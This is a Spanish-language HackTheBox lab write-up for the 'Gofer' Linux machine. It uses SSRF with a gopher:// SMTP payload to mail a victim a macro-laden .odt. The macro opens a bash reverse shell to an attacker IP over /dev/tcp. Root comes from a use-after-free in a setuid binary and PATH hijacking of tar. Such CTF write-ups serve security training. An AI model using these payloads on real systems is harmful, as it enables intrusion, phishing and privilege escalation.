Gofer es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Gofer 10.129.3.58 a /etc/hosts como gofer.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nmap -sS -p- --open --min-rate 5000 -n -vvv -oA enumeration/nmap1 10.129.3.58 Nmap scan report for 10.129.3.58 Host is up, received echo-reply ttl 63 (0.041s latency). Scanned at 2023-08-01 20:52:32 GMT for 13s Not shown: 65402 closed tcp ports (reset), 129 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 139/tcp open netbios-ssn syn-ack ttl 63 445/tcp open microsoft-ds syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Tue Aug 1 20:52:45 2023 -- 1 IP address (1 host up) scanned in 12.74 seconds |
Una vez detectados los puertos abiertos lanzamos un escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ nmap -sCV -p 22,80,139,445 -oA enumeration/nmap2 10.129.3.58 Nmap scan report for 10.129.3.58 Host is up (0.038s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 aa25826eb804b6a9a95e1a91f09451dd (RSA) | 256 1821baa7dce44f60d781039a5dc2e596 (ECDSA) |_ 256 a42d0d45132a9e7f867af6f778bc42d9 (ED25519) 80/tcp open http Apache httpd 2.4.56 |_http-server-header: Apache/2.4.56 (Debian) |_http-title: Did not follow redirect to http://gofer.htb/ 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: 5s |_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox) | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb2-time: | date: 2023-08-01T20:53:26 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Aug 1 20:53:21 2023 -- 1 IP address (1 host up) scanned in 15.15 seconds |
Enumeración
Revisando los puertos abiertos, vamos en primer lugar a revisar el portal web en el puerto 80, donde vemos la siguiente página

No vemos nada interesante por ahora así que continuamos la enumeración y vamos ahora al servicio de smb, listamos en primer lugar a ver que encontramos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ smbclient -NL //10.129.3.58/ Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers shares Disk IPC$ IPC IPC Service (Samba 4.13.13-Debian) Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available |
Revisamos el share shares y encontramos un fichero llamado mail, así que lo descargamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ smbclient -N //10.129.3.58/shares/ Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Oct 28 19:32:08 2022 .. D 0 Fri Apr 28 11:59:34 2023 .backup DH 0 Thu Apr 27 12:49:32 2023 5061888 blocks of size 1024. 2085596 blocks available smb: \> get .backup NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \.backup smb: \> cd .backup smb: \.backup\> ls . D 0 Thu Apr 27 12:49:32 2023 .. D 0 Fri Oct 28 19:32:08 2022 mail N 1101 Thu Apr 27 12:49:32 2023 5061888 blocks of size 1024. 2085596 blocks available smb: \.backup\> get mail getting file \.backup\mail of size 1101 as mail (7,1 KiloBytes/sec) (average 7,1 KiloBytes/sec) smb: \.backup\> |
Y su contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
From jdavis@gofer.htb Fri Oct 28 20:29:30 2022 Return-Path: <jdavis@gofer.htb> X-Original-To: tbuckley@gofer.htb Delivered-To: tbuckley@gofer.htb Received: from gofer.htb (localhost [127.0.0.1]) by gofer.htb (Postfix) with SMTP id C8F7461827 for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST) Subject:Important to read! Message-Id: <20221028192857.C8F7461827@gofer.htb> Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST) From: jdavis@gofer.htb Hello guys, Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice. PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit> |
En el mismo nos indica que el usuario Jocelyn ha picado en otro correo de phishing, ya que hace click sin mirar mucho en donde lo hace, y por lo tanto se ha cerrado el envío de documentos a la red interna.
También indica que se debe utilizar el formato odt de libreoffice en lugar de word.
Además en la postdata indica al usuario Tom que restrinja el acceso a la web del proxy para que sea más seguro mientras termina su desarrollo.
Visto esto, vamos a enumerar subdominios a ver si encontramos el famoso proxy
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ ffuf -u http://gofer.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.gofer.htb" -fw 20 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://gofer.htb/ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.gofer.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response words: 20 ________________________________________________ [Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 44ms] * FUZZ: proxy [WARN] Caught keyboard interrupt (Ctrl-C) |
Y descubrimos el subdominio
|
1 |
proxy.gofer.htb |
Así que lo añadimos al fichero hosts y accedemos

Aunque como solicitaba en el correo, el acceso es restringido, por lo que vamos a tener que ingeniarnoslas por otro lado.
Haremos una prueba a ver como se comporta, ya que siendo un proxy, lo lógico sería que tuviese un parámetro url al cual se le enviase la url a la cual navega el usuario, así que levantamos una escucha con python y lanzamos un curl para verificar
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ curl -v -X OPTIONS "http://proxy.gofer.htb/index.php?url=10.10.14.49/test.txt" * Trying 10.129.3.58:80... * Connected to proxy.gofer.htb (10.129.3.58) port 80 (#0) > OPTIONS /index.php?url=10.10.14.49/test.txt HTTP/1.1 > Host: proxy.gofer.htb > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Tue, 01 Aug 2023 21:06:04 GMT < Server: Apache/2.4.56 (Debian) < Content-Length: 33 < Content-Type: text/html; charset=UTF-8 < <!-- Welcome to Gofer proxy --> * Connection #0 to host proxy.gofer.htb left intact |
Revisamos nuestra escucha y vemos que ha funcionado
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.3.58 - - [01/Aug/2023 21:05:27] "GET /test.txt HTTP/1.1" 200 - |
Visto el funcionamiento, podemos deducir que sería vulnerable a SSRF, así que buscamos en google y encontramos una forma de explotarlo con la herramienta gopher.
Así que vamos a generar un fichero odt malicioso al cual incluiremos la siguiente macro en vbs para obtener una revshell
|
1 2 3 4 5 6 7 |
REM ***** BASIC ***** Sub Main() Shell("bash -c 'bash -i >& /dev/tcp/10.10.14.49/4444 0>&1'") End Sub |
Además tendremos que añadir ciertos eventos para que se ejecute al abrir el fichero, para ello en libreoffice acceder a
tools -> customize -> events
Y añadir los siguientes eventos a nuestra macro
- document loaded finished
- open document
Quedando como se ve en la siguiente captura

Hecho esto, levantamos una escucha en python y lanaremos el siguiente payload con gopher en el parámetro de la url
|
1 |
gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%20<a+href%3d'http%3a//10.10.14.49/bad.odt>this</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a |
Que decodificado sería el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 |
gopher://2130706433:25/x HELOgofer.htb MAILFROM:<hacker@site.com> RCPTTO:<jhudson@gofer.htb> DATA From:[Hacker]<hacker@site.com> To:<jhudson@gofer.htb> Date:Tue,15Sep201717:20:26-0400 Subject:AHAHAH Youdidn'tsaythemagicword!<a+href='http://10.10.14.49/bad.odt>this</a> |
Una vez enviado revisamos en nuestro server que lo ha descargado
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.3.53 - - [02/Aug/2023 06:22:03] "GET /bad.odt HTTP/1.1" 200 - |
Y si esperamos unos segundos tendremos una shell con el usuario jhudson
|
1 2 3 4 5 6 7 8 9 10 |
$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.49] from (UNKNOWN) [10.129.3.53] 47566 bash: cannot set terminal process group (21831): Inappropriate ioctl for device bash: no job control in this shell bash: /home/jhudson/.bashrc: Permission denied jhudson@gofer:/usr/bin$ id id uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev) jhudson@gofer:/usr/bin$ |
Obteniendo la flag de user
Estando ya dentro vamos a por la primera flag
|
1 2 3 |
jhudson@gofer:~$ cat /home/jhudson/user.txt cat /home/jhudson/user.txt 689b740948f0b2c75937de49f034c0df |
Escalado de al usuario tbuckley
Procediendo con la enumeración de la máquina, revisamos ficheros con permisos de suid
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
jhudson@gofer:/$ find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1 /usr/bin/fusermount /usr/bin/mount /usr/bin/passwd /usr/bin/umount /usr/bin/gpasswd /usr/bin/chsh /usr/bin/pkexec /usr/bin/su /usr/bin/chfn /usr/bin/newgrp /usr/local/bin/notes |
Y vemos uno interesante
|
1 2 3 |
jhudson@gofer:/$ ls -l /usr/local/bin/notes ls -l /usr/local/bin/notes -rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes |
Aunque no tenemos permisos para poder ejecutar el mismo así que seguimos revisando.
Enumeramos procesos y cada pocos minutos se ejecuta uno en el cual aparece la password del usuario tbuckley

Así que cogemos la misma y escalamos a dicho usuario.
|
1 2 3 4 5 |
jhudson@gofer:~$ su - tbuckley Password: tbuckley@gofer:~$ id uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev) tbuckley@gofer:~$ |
Escalando a root
El usuario tbuckley si que puede leer el fichero notes que vimos antes así que revisamos de que se trata
|
1 2 |
tbuckley@gofer:~$ file /usr/local/bin/notes /usr/local/bin/notes: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a9c0faa06eabfa48a864bb7341f29deecd7e9e3, for GNU/Linux 3.2.0, not stripped |
Y hacemos una simple ejecución a ver que ocurre
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ /usr/local/bin/notes ======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 1 Choose an username: privesc |
Podemos crear un usuario, notas pero poco más ya que carecemos de permisos así que nos descargamos el mismo para analizarlo en detenimiento y obtenemos el código completo que sería el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 |
void main(void) { __uid_t _Var1; int iVar2; undefined4 local_1c; void *local_18; void *local_10; local_1c = 0; local_10 = (void *)0x0; local_18 = (void *)0x0; do { puts( "========================================\n1) Create an user and choose an username\n2) Show user information\n3) Delete an user\n4) Write a note\n5) Show a note\n6) Save a note (not y et implemented)\n7) Delete a note\n8) Backup notes\n9) Quit\n=============================== =========\n\n" ); printf("Your choice: "); __isoc99_scanf(&DAT_0010212b,&local_1c); puts(""); switch(local_1c) { default: /* WARNING: Subroutine does not return */ exit(0); case 1: local_10 = malloc(0x28); if (local_10 == (void *)0x0) { /* WARNING: Subroutine does not return */ exit(-1); } memset(local_10,0,0x18); memset((void *)((long)local_10 + 0x18),0,0x10); _Var1 = getuid(); if (_Var1 == 0) { *(undefined4 *)((long)local_10 + 0x18) = 0x696d6461; *(undefined *)((long)local_10 + 0x1c) = 0x6e; } else { *(undefined4 *)((long)local_10 + 0x18) = 0x72657375; } printf("Choose an username: "); __isoc99_scanf(&DAT_00102144,local_10); puts(""); break; case 2: if (local_10 == (void *)0x0) { puts("First create an user!\n"); } else { printf("\nUsername: %s\n",local_10); printf("Role: %s\n\n",(long)local_10 + 0x18); } break; case 3: if (local_10 != (void *)0x0) { free(local_10); } break; case 4: local_18 = malloc(0x28); memset(local_18,0,0x28); if (local_18 == (void *)0x0) { /* WARNING: Subroutine does not return */ exit(-1); } puts("Write your note:"); __isoc99_scanf(&DAT_0010218b,local_18); break; case 5: printf("Note: %s\n\n",local_18); break; case 6: puts("Coming soon!\n"); break; case 7: if (local_18 != (void *)0x0) { free(local_18); local_18 = (void *)0x0; } break; case 8: if (local_10 == (void *)0x0) { puts("First create an user!\n"); } else { iVar2 = strcmp((char *)((long)local_10 + 0x18),"admin"); if (iVar2 == 0) { puts("Access granted!"); setuid(0); setgid(0); system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes"); } else { puts("Access denied: you don\'t have the admin role!\n"); } } } } while( true ); } |
Revisando el código vemos que es posible provocar un desbordamiento de la pila al añadir una nota, y que está admitiría un máximo de 24 caracteres, así que vamos a ponerlo en práctica.
Los pasos serían los siguientes:
En primer lugar creamos un usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
tbuckley@gofer:/opt/notes$ /usr/local/bin/notes ======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 1 Choose an username: asdf |
Revisamos que se ha creado correctamente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 2 Username: asdf Role: user |
El siguiente paso será borrar el mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# el siguiente paso sera borrar el usuario ======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 3 |
Ahora añadimos la nota y metemos por ejemplo 24 a y después el rol que queremos obtener
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 4 Write your note: aaaaaaaaaaaaaaaaaaaaaaaaadmin |
Y si revisamos ahora el usario vemos que tiene el rol de admin
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 2 Username: aaaaaaaaaaaaaaaaaaaaaaaaadmin Role: admin |
Ejecutamos el backup y ha cascado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 8 Access granted! tar: Removing leading `/' from member names /opt/notes/ |
Pero está claro que hemos descubierto el fallo en la aplicación, así que vamos a ver como saltar esta parte.
Si revisamos el comando tar, vemos que no utiliza una ruta absoluta
|
1 |
system("tar -czvf /root/backups/backup_notes.tar.gz /opt/notes"); |
Así que vamos a generar un fichero tar malicioso que añada el byte de suid al binario de bash
|
1 |
tbuckley@gofer:~$ echo '#/!bin/bash\nchmod +s /bin/bash' > tar |
Añadimos la ruta del fichero tar a la variable PATH
|
1 |
tbuckley@gofer:~$ export PATH=/home/tbuckley:$PATH |
Y repetimos los pasos previos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
======================================== 1) Create an user and choose an username 2) Show user information 3) Delete an user 4) Write a note 5) Show a note 6) Save a note (not yet implemented) 7) Delete a note 8) Backup notes 9) Quit ======================================== Your choice: 8 Access granted! |
Y para verificar revisamos el binario de bash
|
1 2 |
tbuckley@gofer:~$ ls -l /bin/bash -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash |
Ha funcionado así que ya podemos escalar a root.
Obteniendo la flag de root
Escalamos a root y cogemos nuestra flag
|
1 2 3 4 5 6 |
tbuckley@gofer:~$ bash -p bash-5.1# id uid=1002(tbuckley) gid=1002(tbuckley) euid=0(root) egid=0(root) groups=0(root),1002(tbuckley),1004(dev) bash-5.1# cat /root/root.txt 4a406210232444217aae7cfdd94feb9c bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










